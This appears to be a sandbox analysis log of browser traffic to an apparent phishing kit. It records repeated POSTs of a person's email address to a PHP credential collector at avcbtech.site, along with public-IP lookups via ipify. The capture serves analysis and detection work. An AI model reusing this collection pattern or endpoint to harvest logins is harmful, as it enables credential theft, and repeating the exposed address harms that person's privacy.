2025-03-26 17:09:04 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49784	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:12 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:12 UTC	43	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=
2025-03-26 17:09:12 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:12 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=32ec020d8dfa5c9674fd61b5022251d2; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:09:12 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49786	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:12 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:12 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:12 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9268412329106a5b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85845&min_rtt=85396&rtt_var=18693&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1121&delivery_rate=35226&cwnd=252&unsent_bytes=0&cid=d1cb29898fc5c30e&ts=235&x=0"
2025-03-26 17:09:12 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49788	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:13 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:13 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:13 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926841272eb78cc5-EWR server-timing: cfL4;desc="?proto=TCP&rtt=84996&min_rtt=84950&rtt_var=17991&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=961&delivery_rate=35919&cwnd=252&unsent_bytes=0&cid=dcb5a8647cd95a24&ts=236&x=0"
2025-03-26 17:09:13 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49787	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:13 UTC	441	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
2025-03-26 17:09:14 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:13 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:09:14 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49789	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:21 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:21 UTC	43	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=
2025-03-26 17:09:21 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:21 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=2ed94b3957db5a1e12edb25917f4111f; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:09:21 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49791	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:21 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:21 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:21 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9268415a5d9243bc-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85149&min_rtt=85017&rtt_var=18140&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2815&recv_bytes=1121&delivery_rate=35767&cwnd=252&unsent_bytes=0&cid=75a5e5c1718b4142&ts=255&x=0"
2025-03-26 17:09:21 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49793	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:21 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:22 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:22 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9268415d1bc0bdbc-EWR server-timing: cfL4;desc="?proto=TCP&rtt=86543&min_rtt=86095&rtt_var=18843&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=961&delivery_rate=34938&cwnd=252&unsent_bytes=0&cid=db4c7a1bf628f5f1&ts=237&x=0"
2025-03-26 17:09:22 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49792	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:21 UTC	441	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
2025-03-26 17:09:22 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:22 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:09:22 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49795	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:07 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:10:07 UTC	43	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=
2025-03-26 17:10:07 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:07 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=ca2e790ceeaae3e065d5032d1e196409; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:10:07 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49797	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:07 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:10:07 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:07 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9268427b88377271-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85181&min_rtt=85130&rtt_var=17989&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1121&delivery_rate=35895&cwnd=252&unsent_bytes=0&cid=f886db6eb86c71cb&ts=240&x=0"
2025-03-26 17:10:07 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49799	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:08 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:10:08 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:08 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9268427e4a6b32d0-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85532&min_rtt=85451&rtt_var=18156&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=961&delivery_rate=35650&cwnd=252&unsent_bytes=0&cid=31bf286b6f9c4425&ts=228&x=0"
2025-03-26 17:10:08 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49798	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:08 UTC	441	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
2025-03-26 17:10:08 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:08 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:10:08 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49800	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:16 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:10:16 UTC	43	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=
2025-03-26 17:10:16 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:16 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=d89b4809b9d9ddb282433279f83db1da; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:10:16 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49802	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:16 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:10:16 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:16 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926842b2ce40e8a6-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85302&min_rtt=85267&rtt_var=18008&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2815&recv_bytes=1121&delivery_rate=35841&cwnd=252&unsent_bytes=0&cid=e26d82c8d5311882&ts=226&x=0"
2025-03-26 17:10:16 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49804	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:16 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:10:17 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:17 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926842b549196a5f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85404&min_rtt=85320&rtt_var=18126&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=961&delivery_rate=35716&cwnd=252&unsent_bytes=0&cid=7bed9c84368ddb11&ts=230&x=0"
2025-03-26 17:10:17 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49803	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:10:17 UTC	441	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
2025-03-26 17:10:17 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:10:17 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:10:17 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	0
Start time:	13:07:22
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff73f790000
